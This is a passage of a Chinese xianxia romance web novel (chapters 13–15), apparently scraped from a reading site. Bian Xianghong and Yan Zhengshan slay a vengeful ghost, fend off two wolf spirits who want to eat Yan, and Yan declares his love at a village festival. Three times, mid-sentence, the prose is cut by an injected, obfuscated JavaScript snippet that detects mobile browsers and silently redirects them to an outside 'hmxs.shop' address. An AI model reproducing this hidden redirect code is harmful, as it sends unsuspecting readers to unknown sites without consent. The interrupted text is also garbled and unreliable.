“那你也别把小边一个人留在客厅里啊!这是哪门子的待客之道?”胡金珠抱怨,刘水木摇头,“没有没有,小边说要去看看白天土地庙是什么样子,已经骑驴出去了!” 岩正山立即站了起来,胡大娘知道他的意思,“去吧,快去找小边!土地庙在我们家的东北方,你出了门左拐直走,到下个路口在右拐直走,走到底就是了。老木,你有没有和小边说清楚方向。” 刘水木点头,岩正山立即告辞,“大娘、大叔,那我先去找她了。”边镶红竟然不喊他,万一遇到一个比早上厉害的怎么办? 13. 第 13 章 当岩正山骑着追风感到的土地庙的时候,有很多村民在准备晚上的篝火用的柴火,还有人在跳傩舞,他望了一眼收获完的干枯的田野,没有看到边镶红和她驴,他看了一眼那些村民,他们看不出任何异常。他下马,拱手拜道:“各位叔伯辛苦了,我是借住在刘大叔家里的小岩。” 村子小,都是熟人,信息传播快,他们知道刘水木家里来了两个生人借宿,他们都猜测两人是从家里私奔跑出来的。他们看着他的马就猜出他的身份了,其中一较年长者走了出来,“小岩是吧,你是要找小边是吧?她去后山了,说看能不能找到一些茶树?” 岩正山往土地庙后面望去,是典型的南方低山丘陵,南方雨水和光热充足,植被非常茂密,是一片连绵不绝的生机,那邪祟藏在后山?岩正山有点着急,立即辞行,“多谢大叔告知!我就不打扰各位叔伯了。” 众人望着岩正山骑马远去的身影,不禁感慨:“好马!” 岩正山拍了拍追风的脖子,“追风,你能闻到小灰的味道吗?能感受到她们在哪里吗?” 追风吸了吸鼻子,跑得更快了,不久后它停了下来,是一个叉路口,岩正山下马查看驴蹄的痕迹,但两条小山路都有印记,应该边镶红刚开始也不确定哪一条路,所以又折返回来过一次。 “边镶红!边镶红!”岩正山大喊,没有任何回应。他有点慌了,边镶红不会遇到什么危险吧?他努力镇定下来,闭上眼睛,努力去感应。他的心真的快速跳动了几下,他睁开眼睛,翻身上马,“追风,从中间这里往上,去山顶!”没有路的地方走出来了就是康庄大道。 “哈哈哈!你说真的吗?年轻时的胡大娘真的那样厉害,我就说刘大叔刚才有点想要凶大娘的样子,但也只敢把扫把扔掉而已。这瓜子好吃,你那还有吗?”边镶红吐到瓜子皮,伸手讨要,“你那除了瓜子还有没有其他吃的,我闻到了香味,甜甜的感觉。” 当岩正山和追风呼哧呼哧地爬上山顶之后,就看到边镶红在石头上坐着自言自语,她伸出去的手忽然有一把瓜子洒落。这是有鬼? 就算是鬼,岩正山也不怕了,他大吼,“边镶红!你这人怎么这样!去哪也不跟我说一声!你知不知道我……”他担心她的话还没说出口,就看到一个女童慢慢出现在石头上,她脖子上还带着一个小拇指粗的银项圈,怎么有点慈眉善目的感觉? “小岩哥哥,你嗑瓜子吗?小边姐姐今天第一次嗑瓜子呢!” 岩正山立即摇头,“我不吃!” 边镶红立即说道:“小玉啊,你小岩哥哥出身高贵,看不上这样的粗鄙的小零嘴。” 小玉又掏出一小包油纸,“那我还有核桃酥,小岩哥哥你吃吗?” 岩正山下马的脚差点踩空,这小玉这样好客?鬼给的东西能吃吗?这边镶红怎么就吃上了! “我不用了,谢谢!” “他不吃,我吃!小玉,我吃,核桃酥是核桃做的吗?”边镶红闻到的香味就是这个,她拿起了一块,刚要咬下去,岩正山已经快步走上前来,“边镶红!”边镶红看了他一眼,然后一口咬了下去,酥脆香甜,好吃,两口吃完! “小岩哥哥,你怕我毒死小边姐姐吗?”小玉的眼神变得哀切,突然七窍流血,大股大股鲜血往外流出来。 岩正山不自觉后退一步,紧紧闭着眼睛,但又很快睁开,“假的,都是假的!” 小玉哈哈大笑起来,“小边姐姐,你说错了,小岩哥哥不怕鬼的!” 边镶红已经吃完了两块核桃酥,擦擦了嘴角,又拍了拍手,核桃酥好吃,但会掉渣。“你这个流血不够可怕,你应该变成前面那只鬼的样子,连骨头架子都不齐全,缺胳膊少腿的,才会吓到他!” 岩正山怔怔看着边镶红,“你又遇到了恶鬼?你没受伤吧?”他已经走到边镶红旁边,细细端详,衣服上没有血迹,应该没有外伤。 “岩正山,你也太小看我了吧!”边镶红不服气,但抬头看到了岩正山满头是汗,他怎么流那么多汗?天一热就流这么多汗,他身体得多虚啊?她有点嫌弃汗臭味的接近,“你先擦汗吧,你这身体不行啊,上个山流这么多汗!” “小岩哥哥这是紧张,小边姐姐,他紧张你的安危,所以流汗!”小玉又掏出一把瓜子磕了起来,边镶红看了她一眼,又顺走了几只瓜子,“紧张我的安危?”她看向正在擦汗的岩正山,嗑了个瓜子,语气坚定,“岩正山,我可是三步山三步宗三步剑法唯一传人,我强大到你无法想象,所以别瞎操心,显得我弱小无助的样子!” “但是呢,你能这样关心我的安危,我很感动,你真是个好人!”边镶红递过去瓜子,“真的好吃!你快吃。”其实是她不喜欢这个口味的,还给小玉有点不好意思。 岩正山看着边镶红手里的瓜子,有点疑惑,又看到她的手动了动,叫他拿走的意思。这人不是刚讽刺完他不会嗑瓜子,怎么又要给他瓜子,他不情愿地接了过来。他刚想问怎么回事,就看到边镶红站起身,“小玉啊,你说的小黄给我那个行李怎么这么久啊,那厉鬼就要来了,我双拳难敌厉鬼的。” “小边姐姐,稍安勿躁。”小玉从石头上站了起来,眺望远方,“你也知道的,小金腿短,哪会那样快,但他一定在厉鬼来之前到。” 岩正山听明白了,她们在这里守株待兔呢,他瞪了边镶红一眼,“怎么回事?” 边镶红反应过来,还没跟他介绍清楚,“小岩,这是小玉,小黄等会回来,他们是这山上精怪,你可以理解为他们是守山护卫,但小玉啊,你真的不是神吗?” 小玉坚定了摇了摇头,“小边姐姐,是我不想成神吗?是我不想吗?我天天做梦想着一步登天呢!但是我离成神的距离还有五百年,我们功德太浅了,不然我怎么需要你来帮我们消灭那只厉鬼呢!” 边镶红耸耸肩,她看向岩正山,“简而言之,这里有只厉鬼,我要杀鬼。” “这里有土地庙,土地公和土地婆镇守一方,你插手什么手!”岩正山不解,她早上刚杀完一只恶灵,恢复过来了吗?现在又要灭鬼!边镶红到底是要命还是不要命! “岩正山!你骂我多管闲事!”边镶红双手叉腰,凶狠地瞪着他,“这个是闲事吗?你这个胆……” “小岩哥哥,你说的没错,土地神他们镇守一方,但这里在他们的方圆之外,所以除非那只厉鬼去村里杀人放火,不然他们不会轻易介入。”小玉打断了边镶红的话头,她又拉了拉边镶红的手,“小边姐姐,他不是骂你,是关心你。” 边镶红看了一眼小玉,神情仿佛在问真的吗?不等小玉回答,忽然间天黑地暗,狂风大作。她看到小金背着边镶红的包袱和大刀回来了。 “小边姐姐,你的东西我都拿来了。”小金抱着边镶红的手,“那只厉鬼好凶!小金好害怕!” 小玉用力戳了一下小金的脑袋,把他从边镶红的手上拉扯开,“害怕你还阻挠小边姐姐,小边姐姐才不会喜欢这种小屁孩。” 边镶红摸了摸小金头顶的两个小发包,“你辛苦了,现在好好看看姐姐为什么不喜欢小屁孩。” 霎时间一阵阴风带着戾气冲刺过来,边镶红抽出紫来,大刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543500|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挥斩断那股力量,刀身上画了很多符咒,她下山前用自己的血画的,斩断戾气轻而易举。但她耳边还不断有戾气飞散,说明那股戾气非常强大,她盯着那团越来越近的黑影,竟然没有办法直接看穿黑影的生前事。她从腰间掏出两片茶叶,弹飞出去,茶叶还没靠近到黑影核心圈就已经化成齑粉。 岩正山在那黑影袭击过来时已经握剑防备,但边镶红比她更快,他从她发丝飞扬的身后走了出来。他一样能感觉这只鬼比早上的难搞,杀气更加明显,他拔出了长剑,侧头问道:“你怎么改用刀了?” “因为我太厉害了,刀剑皆精。等会你专攻他的上半身,找准机会刺透他的眉心。”岩正山的担当边镶红还是非常认可的,“但是别太逞强,他是厉鬼,和人不一样,你自保为主。” “好!”岩正山看了一眼边镶红,她神色严肃,眼神坚毅。他紧紧握住手中的剑,如果迎难而上是她的人生,那他就成为她身后的助力。 边镶红右手紧握刀柄一跃而起,砍进了黑影里面,岩正山紧随其后,他看到了黑影圈里面有一个男人,边镶红一刀砍下去,那人身体从中间被劈开,黑烟后退又凝聚回原样,她知道以符咒难以镇压住这只厉鬼。 “边镶红,我们终于见面了!”那个男人神色平静,手上也出现了一把刀。 “你知道我?但我不认识你这只鬼。”边镶红不知道自己在山下的名声这么大,她看着他的手里的大刀,于她半路改用刀不同,此人生前惯用大刀。 那人哈哈大笑,“知道,所以我刘信今天特地来吃你的血肉!”他瞬间移动到了边镶红面前,大刀砍来如有开山之势,边镶红没有直接格挡,灵巧避开绕到身后,与岩正山形成前后夹击之势。 边镶红啐了一声,“就你,一堆灰也敢做春秋大梦!”她看向岩正山,大喊,“岩正山,你用三步剑法前九招,攻他下盘。”她还没说完就已经开始进攻,岩正山虽疑惑边镶红的指令前后颠倒,但立即配合着边镶红的进攻。她在用第十招水滴石穿挥刀左右突进专攻刘信眉心,两人一刀一剑配合默契,招招紧逼。 刘信一心二用,逐渐转为防守,不敢有丝毫放松,倒是他小看了那个叫岩正山的人,他出剑既快又狠,招式变化灵活,难以预料他的出剑招式,而边镶红刀上面的符咒不断在燃烧他的怨念,削减他的力量。他比边镶红更想要速战速决了,他从刀柄出再拔出另一把刀,双刀应敌,专攻边镶红。 边镶红立即转换剑招,以三步剑法第一招“开天辟地”直直砍过去,并催动安魂符,“玄天三步,后土一抔,青青幽灵,混混虚无。” 大刀上万丈光芒以万钧雷霆之势朝刘秀面门砍下,刘信迅速挥动双刀格挡,刀刀大力砍碎金光。边镶红又以水滴石穿再次突进,刘信有了双刀应对更加从容,但也只是刹那,他忽然定住不动,抬眸看了看自己眉心,那里有一段突出来的剑尖。 边镶红挥刀如烟火升空爆破,极速前行,再一次以开天辟地之势砍下去,“以我之血,杀你之魂。急急如律令,破!” 岩正山及时抽回长剑,看着刘信又一次被边镶红从上而下劈开,只是这次两半身体在熊熊燃烧,青烟落地成灰。 “认识我的鬼,都不会有好下场!”边镶红看着那两团火焰,平静地说道,她刚想要称赞一下岩正山的默契配合,知道她的声东击西。 “小边姐姐好厉害啊!还好我们不是鬼!”边镶红一抬头就看到小玉踩着小金的肩膀正掐着岩正山的脖子,她笑着看她,“小边姐姐,感谢你为我们出了大害,也感谢你给我们送来了大礼。” 14. 第 14 章 边镶红眯着眼,“看在吃了你的零嘴的份上,你现在放开岩正山,我们还能冰释前嫌!” “哈哈哈!”小玉一阵大笑,化出原型,口腔上四颗犬牙迅速生长,变得粗壮尖锐。“好你们个狼狈为奸!”边镶红大喊一声,冲刺过去要抓住小玉的头,但小玉迅速低头往岩正山脖颈处撕咬过去。 这是要吃他的血肉啊,岩正山奋力挣脱,但下半身被小金死死抱着,上半身双肩又被小玉紧紧擒住,动弹不得,他能感受到小玉的牙齿已经快到他的皮肉里了,难不成他真的要被野兽分食。不,他绝对不要这样子死去! 边镶红在抓住了小玉的头颅往外扯开之前,听到了奇怪的声音,好像是有什么东西断掉了,很快她直接被一股力量弹开了。她不可思议地看着岩正山,他身上有金光,她摔在地上,立即坐起来看着他,他脖子上半点伤口都没有,小金和小玉已经被弹开不知道摔在哪里去了。她忽然有一种可怕的想法,岩正山不会不是人吧? 岩正山看着发呆的边镶红自己也有点呆愣,这是被他震飞了,他打量了一下自己全身上下,有点不确定那股力量是不是真的从他身体里爆发的? 小玉从石头下爬了起来,靠在上面,擦掉了嘴角的血迹,舌尖舔了舔自己牙齿,上面两个犬牙已经都崩断了,牙根还有点疼,她还是大笑,“失算了,竟然不能直接生啃!怪不得你叫岩正山,又是石头又是山的的,硬邦邦啃不动。”她伸腿踹了一脚小金,“你个笨蛋,现在鸡飞蛋打了,准备受死吧!” 边镶红看了一眼小玉,又看向岩正山,“你还不赶快来扶我起来!没看到我被你波及无辜啦!” 岩正山闻言动了起来,他快速跑了过去,弯腰伸手要拉边镶红,忽然想到边镶红说过不许碰她的手,他站了起来收了回手。边镶红伸出去的手差点砸到地上,她抬头瞪着他,岩正山真不是人!她的腰被他害得磕在石头上,快痛死了,他竟然不扶她! 边镶红的眼神骂的很凶,岩正山感受到了,他立既弯下身去要扶边镶红起来,却被她一把扯住领子,“给我站直了!”她生气了,要变成这样借力站起来。可是万一她站起来的过程中太用力把他的衣服扯拦了,衣冠不整的,她不就看到他的身体了! “你抓我的手啊!”岩正山伸出手,但边镶红用力拉扯过来,他差点跌倒,好在反应灵敏,他站稳了一抬头就看到了边镶红的脸,她脸上的肌肤看起来很白皙细腻,那肌肤忽然动了起来,“我叫你站直了!”他立马低头站好,慢慢站直了身体。 边镶红腰上的痛感已经逐渐消失,她看着神色闪躲的岩正山,一句道歉都没有,她才不要向他借力,她放开他的衣领一把推开他,自己直挺挺地站了起来。被推到一旁的岩正山忽然有点庆幸,这样一点都不尴尬了,他立马问道:“你没事吧?” 边镶红侧头看了他一眼,他看不见她摔得很惨吗?她假笑,“小岩啊,你还有多少惊喜是我不知道啊!你真的好厉害啊!” 岩正山没听懂边镶红的阴阳怪气,不好意思地挠了挠头,“我不知道,你现在知道我真的没吹牛了吧!” 边镶红对岩正山的迟钝有点无语,她拍了拍手,看向小玉,眼神变得凌厉起来,“都说人心隔肚皮,狼心狼肺,现在一看也是如此!” 小玉在小金的搀扶下也站了起来,她收起了笑容,脸色平复下来,“小边姐姐,我怎么狼心狗肺了,别舍不得骂狗啊,狗也会这样做的。” “你为什么要那样做?”岩正山不解,“我为什么会是你们的大礼?” 小玉一下子又跳上了小金的肩膀,“你刚刚不是不费吹灰之力就把我们都制服了吗,你的命格被赋予了强大的能力,吃掉你就能得到你的能力。所以你是大礼,我们也想被上天眷顾啊!” 岩正山看着小金稚嫩的脸庞,摇了摇头,“吃了我的血肉是杀人,是罪孽,怎么可能得到我的能力?” 小玉看向边镶红,“不信的话,你问问小边姐姐啊!” 岩正山看了一眼边镶红,边镶红点了点头,“她说的是真的,但你放心,没人能杀死你!”她忽然飞身上前,“啪啪!”一人一巴掌打下去,小玉被打了下来,小金捂着脸去拉她起身。 “你们两人虽未酿成大祸,但其心可诛!这两巴掌替岩正山打的!”边镶红往后看向岩正山,岩正山点了点头,她都打完了才问他! 小玉重新站在了小金的肩膀上,看着边镶红,“真是虚伪!小边姐姐,小岩哥哥真的会想打我这一巴掌吗?他的血肉你就不垂涎吗?他的命格和你的完全相反,你与其去找什么三步山神改命,不如直接吃了他!” “啪啪!”边镶红迅速又打了小玉两巴掌,“他当然想打,你刚刚可是真的想要吃了他,杀人要偿命,未遂也要付出代价。你不要以为我不知道早上那只恶灵是你招来的。只不过我打人耳光更疼,我乐意代劳!”她知道小玉还去过胡大娘家查探过他们,小灰的示警是因为她。 “还有,我对岩正山的血肉一点点都不垂涎,我要的命运,我自己创造,我不屑像你这样强取豪夺别人的生命。” 岩正山的心忽然抽痛起来,他忍不住后退了一步,他难以理解他的血肉能成为增强别人命运的不合理命运安排,尤其是他和边镶红的命运天壤之别,他天生命好运好,而她命运多舛,时运不济,被各种各样的鬼魂困住。他唾手可得的一切,她遥遥不可及。 又被打下来的小玉,脸上笑意堆积,看起来一点都不愤怒,“是吗?如果你就要死了呢!”这回小金趴在了小玉的背上,两人化回狼型,如利箭射出般扑向边镶红身上。 双方距离很近,边镶红一脚踹了过去,小玉被踹倒,而小金扑向她的面门,前掌上的短爪尖锐的有点异常,凌厉的力道千钧一发要从上而下撕裂边镶红的身体。但边镶红踢腿的同时,右勾拳狠狠打在了小金的下颚,小金下颚骨瞬间破裂,被打倒往左侧摔落。 边镶红一个翻身刚落地,小玉再次扑了过去。边镶红这回没有动作,而是站得笔直,一动不动。 “边镶红!”岩正山紧张大喊,他冲了上去要拉开她。可是迟了,他看到小玉的一双前掌从边镶红的头上砍下,骨头爆裂的声音刺耳嘈杂。 岩正山声嘶力竭呐喊,“边镶红!”她一定是疯了为什么不防守?他跑到了边镶红的身后,想要接住她坠落的身躯。但边镶红猛然转过头来,凶神恶煞地骂道:“岩正山,你叫魂啊!你要把我喊聋吗?”她脸上没有任何伤口,她没事,他抬头看去,小金的的前掌血肉模糊,“啪!”一声摔落在地。 这么不科学吗?边镶红的头颅比钢铁还坚硬吗?岩正山走上前来,伸手摸了摸边镶红的脸,马上被边镶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551667|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红打了下去,但那里的皮肉没有受伤。 边镶红一把抓住岩正山的耳朵,指着倒在地上的小玉,“你再敢动手动脚,就和她一样的下场!” “哈哈哈!”小玉化为了人形,她满嘴血液,狂笑不止,“是我小看了小边姐姐,怎么没看出来小边姐姐浑身上下都是戾气、死气呢!被戾气割破皮肉、锯断骨头真的好痛啊!” 边镶红放开了手,点点头,“的确是你小看了我边镶红的实力,你以为我早上杀死那只恶灵是借了岩正山的力量,超度那个村民是因为符咒,刚刚杀死那只厉鬼也是靠岩正山帮助。你高估了岩正山的命格,以为我肉体凡胎不过泛泛之辈,你和那些冤魂厉鬼一样,只想着扑上来撕咬我的血肉,而看不到我血肉里的力量。我啊,不仅烫嘴还烧心。你要庆幸你还没死,但凡你是鬼,我一点点血就能把你烧了。” 岩正山侧着头看着边镶红,她全身上下都是戾气和死气,所以她不准他主动触碰她的身体是为了保护他。 小玉坐了起来,“那我还得感谢小边姐姐不杀之恩了!” 边镶红点头,“是的,毕竟你这一百年来守着这山林有功,你此前不曾杀生亦是有功,你本性不坏,又大限将至,有一点情有可原,所以我不杀你!” “情有可原?”小玉摇摇头,“难道不是命运偏颇,我既然有功,就算不能成神,也不能只活这两百年啊!我用了一百年修炼成狼妖,又用一百年守护这山林和平,我的前掌就是在对抗厉鬼杀生的时候断掉的,所以我只能趴在小金的背上。但是我要死了,我的结局不是羽化成仙的飞升,而是肉身老去腐烂的死亡。” “这公平吗?”小玉看向岩正山,“小岩哥哥!这样的命运公平吗?” 岩正山根本没有听到她前面说的话,他木楞地转过头去看了一眼她,他知道命运是不公的,他迟缓地摇了摇头,“不公平!”这样的命运,对边镶红太不公平了。 边镶红根本没有察觉到岩正山的目光,她前进一步,拉起小玉,“那你为了不死去,就要杀了岩正山就公平正义啦?岩正山刚刚没有说错,杀人是罪孽,罪孽就要偿还,你永远无法成神!” “你有功,是因为你收了土地神的点化,能修炼成妖,你坚守一方也是在报恩,时限圆满,自然老去死亡。你强求就会变成罪!你走吧,现在你还是有功无过,这样死去,算是好结局!” “那你也不要去找什么神明改命啊,直接等死就好啊!在求生这一点上,我们真的有谁比谁高尚吗?不过是你比我更强大,所以你高高在上!” “你不要颠倒黑白!”岩正山听到了小玉的咒骂,他立即走到边镶红身前,“边镶红就是比你高尚,如你所说,她比你强大,但没有动过坏心思,更没有鄙夷过你的生命,她也不会为了自己活命就去剥夺别人的生命,她善良博爱!而你,是真的想要杀了我,你不配和她相提并论!” “岩正山,你说的真对,我就是这样善良、博爱、无私、高尚!”边镶红拍手称好,不曾想岩正山能说的如此义正词严,“还有一点,我貌美如花,总而言之,我人美心善,的确和你不一样。” 岩正山瞥了一眼边镶红,她称赞自己一点点都不害臊。 边镶红看着小玉,又指了指山下的土地庙,“若你真的迫切想要活下去,就去找当初点化你的神明!” 15. 第 15 章 “边镶红,你不要乱说话!”岩正山拉着边镶红的袖子,她怎么会这样怂恿小玉去找土地公。 边镶红拉了拉自己的袖子,“我从不乱说,她既然是受土地公点化,那自然找他解决问题啊!” “那你的因果是在三步山神那里?”小玉抬头看着边镶红,边镶红看了一眼小玉,“我言至于此!” 小玉看着边镶红,没有再说话,或许她说的对。 “小灰,小灰!”边镶红朝着山腰大喊,小灰噗噔噗噔跑了上来,后面还跟着追风,真屁颠屁颠的。她侧头看向岩正山,“你的公马干嘛老跟在我的小灰后面?它就这么喜欢我们小灰吗?踹都踹不走。追风,喜欢我们小灰就叫一声。” 追风立马“咴咴咴咦!”叫了一声,岩正山还在边镶红的狂言中没回过神来,“喜欢?”又听叫追风鸣叫,更加惊讶,一直跟在别人后面就是喜欢?他看向边镶红,她正在抚摸小灰,“小灰啊,姐姐还没给你找上小美驴,你就先自己找一个,追风也挺漂亮的,你眼光挺好的呀!” 小灰立马甩头表示反对,边镶红笑了笑,回头看了一眼岩正山,他目光专注而又疑惑,直直盯着她,她回过头来伸手去要拉缰绳,翻身就要上驴,忽然间身体往后倒下。 岩正山已经冲上前来,他的双手接住了边镶红,他抱着边镶红一遍遍呼唤,“边镶红!边镶红!” 边镶红紧闭的双眼瞬间睁开,在岩正山怀里翻动了一下身体,他的神色很紧张不安,看得出来他真的很关心她! “边镶红,你没事吧?”岩正山看她醒来,立马询问道,她这一天天得过的是什么日子啊! “岩正山,你干嘛老是跟在我后面啊?你是不是喜欢我?”边镶红背靠在他的怀抱里一动不动,岩正山闻言就想把边镶红甩出去,她立即说话,“你又要把我扔掉?” “我哪有!”岩正山手上没有在动作,“但是这样会不会不太好?搂搂抱抱的不成体统!” 边镶红大笑不止,翻过身来面对着岩正山,岩正山立即侧过头去,她伸出手勾起他的下巴,“小岩啊,你就这么喜欢我啊!胡大娘说,你是把我背回去的,不是把我摔在驴背上,而是一步步背我走回去的。我刚刚如果真的晕倒了,你是不是又会背我背回去。” 岩正山已经失去思考能力了,他从上而下慢慢看着边镶红的眼、鼻梁,还有她张张合合的双唇,他在确认一件事,从刚刚到现在,他一直不断地问自己,他是不是真的喜欢上了边镶红,明明他认识边镶红还没一天,还有那样糟糕的初印象,但是毫无疑问他真的喜欢了上边镶红! “岩正山!”边镶红在他面前挥了挥手,他的眼神竟然一动不动,他中邪啦?被吓到了?很快的手腕就被抓住,岩正山手上的体温很快传到了她的手上,是温热干燥的,而且很滑腻,边镶红皱眉,非常不满,“太不公平了!你练剑的手竟然一个茧子都没有!” 岩正山笑了出声,边镶红没空问他笑什么,因为她发现一个异常的事实,岩正山对她得浑身戾气一点点感觉都没有,她太迟钝了,他从昨夜开始拉了她几次手都没有表现出过痛苦神色,更何况她早上背着她走了很久的路,一个下午看起来也没有任何不适,他的命格的确特殊,像是专门针对她的一样,好坏怎么能被区分的这样明显呢?她抬头看着那张脸,冥冥之中她不知道的事情真多! 岩正山紧紧握住边镶红的手,神色认真,“边镶红,我喜欢你!” 边镶红虽然刚刚虽然分析得头头是道,但纯属揶揄,她看到了岩正山的双眼在专注地看着她,一双熠熠生辉的双眸含着情意,他是严肃正经地在表白!什么情况?这个胆小鬼真的喜欢上她了?她立马后退一步抽回手。 不想严正山又往前走进了一步,眼神坚定,“边镶红,我是真的喜欢你!” 边镶红又退了一步,立马翻身上驴,跑了。 “边镶红,我喜欢你!”岩正山大声呼喊,脸上带着愉悦的笑容。边镶红还没有回头,所以没有看到少年人纯粹真挚而热烈的笑脸,笑脸上层层阳光层层爱意。 追风走到岩正山面前,示意他快上马,他又笑了好几声才上马,边镶红害羞了,她一定是第一次被告别,所以不知所措,等会见了面,她也一定会想方设法避开他,边镶红真的好单纯可爱! 当岩正山慢悠悠下山的时候,土地庙外围已经点燃了一圈篝火,中央那一堆篝火的火光和晚霞点燃了青黑色的夏夜。他们已经完祭祀土地神,开始分食贡品了,边镶红跟在胡大娘旁边,乖巧听话。他向着火光走去,走进了人群,走到了边镶红身边。 边镶红抬眸就看到了岩正山,他脸上带着浅浅的笑意,烛火摇曳,她看到了他含情脉脉的双眸,他怎么还用那样的眼神看她啊?她立马低下头假装整理菜肴,能像小灰踹追风一样踹他吗? “大娘,镶红,有什么需要我帮忙的吗?”岩正山眼神还是直勾勾盯着边镶红,胡金珠看了一眼岩正山又看向边镶红,立马明白过来。她嘱咐道:“有的有的,小岩帮忙拿一下小边旁边的贡酒,都给你们大叔他们送去,喝了酒他们就要开始跳傩舞了。” 边镶红看了一眼胡金珠,快速低下头走开,岩正山随即跟上。 “你不许叫我镶红,还有你不可以再说那句话了!”边镶红走在前面想了想还是要说清楚,岩正山退口而出,“哪句话?我喜欢你这句吗?” “你你你!不许再说了!”边镶红尝试伸腿去踹他,原以为他会躲开,结果他一动不动,脸上还是带着笑容,好可怕啊!她立马转身,直奔刘水木他们那一桌。 刘水木热情地招待道:“小边、小岩啊,来,我们一起吃饭、喝酒,你们是贵客,把你们款待好了,明年一样大丰收!”其他人也跟着应和,盛情难却,边镶红和岩正山都入座了。 “来来来,喝看看,这是我们这去年丰收的大米酿的米酒,现在喝刚刚好。”刘水木给二人倒了一碗,边镶红看着酒碗有点疑惑,这么大一碗吗?很快酒碗被送到了嘴边,她大口喝了一口,马上推开,站了起来,好烧喉咙,从食道到胃里好像一把火在燃烧。酒的劲头这样迅速猛烈吗?她口渴,看向桌面上,满满当当饭菜,就是没有白开水。她要去找水,手里就被塞了一个水壶,她马上抓了起来咕噜噜喝了好几口。 “慢点喝!喝得太着急会吐的!”岩正山出声的很及时,但边镶红没来得及听进去。 众人笑声响起,知道边镶红这是第一次喝酒,刘水木喝了一口,心满意足,“这酒啊,喝第二口的人都会爱上的。” 边镶红喝了几口水有点缓过来了,感觉有点奇怪,又听见刘水木那样说,很是心动,把水壶塞回严正山手里,端起酒碗抿了一小口,顺畅多了,她又抿了一小口,全身上下立马烧起来,暖洋洋而飘飘然的感觉。她转转头看了一圈饭桌上的人,各个都笑的很开心,他们在大声说着,“来来来,吃菜吃肉!”她看向了旁边坐着的岩正山,他看起来很担忧的样子,“镶红,你没事吧?” 我当然没事!不许叫我镶红!边镶红嘴唇动了动,她以为她正大声向岩正山抗议,但一点声音都没有,上下眼皮一打架,她醉倒了。 岩正山正靠近要听清楚她说的话,刚好接住了斜斜倒下的边镶红,“镶红,镶红!” 众人笑声又大了起来,“三口不过岗!” “小岩,没事的,我们社的土酒后劲更大点,小边这是醉了,等会锣鼓敲起来,叮咚叮咚的她就醒了。”刘水木吃了一口肉,“年轻人酒胆好,很快就能清醒啦!” “你这个老木头,小边不会喝酒你还敢劝酒,万一出了事怎么办?”胡金珠一巴掌拍在刘水木的肩膀上,她俯下身看了看边镶红红润的脸庞,她靠在岩正山的肩膀上,呼吸均匀,“没事,小岩,小边就是醉了。” 严正山点了点头,又低头看着边镶红的睡颜,她的睫毛真长真翘,两弯细眉像是高空中展翅飞翔的燕子,从山根到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564945|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻尖,又像一座小山坡,她的嘴唇有点红,脸颊也是,呼吸声小小。他轻声赞叹,“镶红,你好可爱啊!” 边镶红全身无力,但还有点意识,她听到了严正山的话,她好想骂他在胡说八道什么啊?只可惜她没有力气打他了,这酒怎么跟麻药一样啊! “你以后可不能随意喝酒,你这体质叫酒精过敏,不适合喝酒的!”岩正山又在喋喋不休什么,为什么不能喝酒,边镶红觉得酒还是挺有趣的,跟茶完全相反,怎么就越喝越迷糊了,她好困啊,想睡觉,为什么岩正山的肩膀是香香软软的,好好睡的样子。 岩正山能感觉到边镶红已经彻底睡熟了,她这样睡会不会有点难受?他□□着身体不敢乱动,他面前的人们明明在大声说笑、吃饭,吵吵闹闹,但他在这一刻觉得异常安静,他只能听到边镶红小小的呼吸声。她在他得肩膀上和早上一样睡得很沉,她好像很缺觉,也是,她这样天天忙着灭鬼,哪有时间睡觉。 大约一刻钟后,桌上的人群都散了,去准备傩戏了,岩正山正要小声叫醒边镶红,但锣鼓齐响,叮咚叮咚锵。 边镶红立马坐直了身体,睁开眼睛,又闭上了,“镶红,你没事吧?”她听到了声音,木楞地转过头去,努力睁开眼睛,她一巴掌打了过去。 “你这个大坏蛋,龙景你就是个大坏蛋,师傅,你不要死!不要变成石头!”边镶红扑上去紧紧抱住抱岩正山,“龙景,你真的是坏蛋,谁要你救我?你为什么要救我?” 岩正山以为是边镶红被吵醒,起床气大,被打了一巴掌还在蒙圈,又被她抱着,有点生气、无语和,但又有点心疼,他看不到边镶红的神态,但是他知道她哭了,她的泪水滴在了他的衣服上。她虽然语无伦次,但他听懂了,她的师傅叫龙景,为了救她变成石头,人能变成石头吗?他伸手拍了拍边镶红的后背,结果她哭的更凶了。 边镶红从他身上起来,胡乱抹掉眼泪,变的气势汹汹,“龙景,你不可以收毛峰为徒弟,你只能收我一个人为徒。还有白荼我要自己封印灭掉,我一定可以彻底烧了他报仇,你不可以插手。你给我继续活着就好,你不可以和花婆婆一样死去,不可以!” 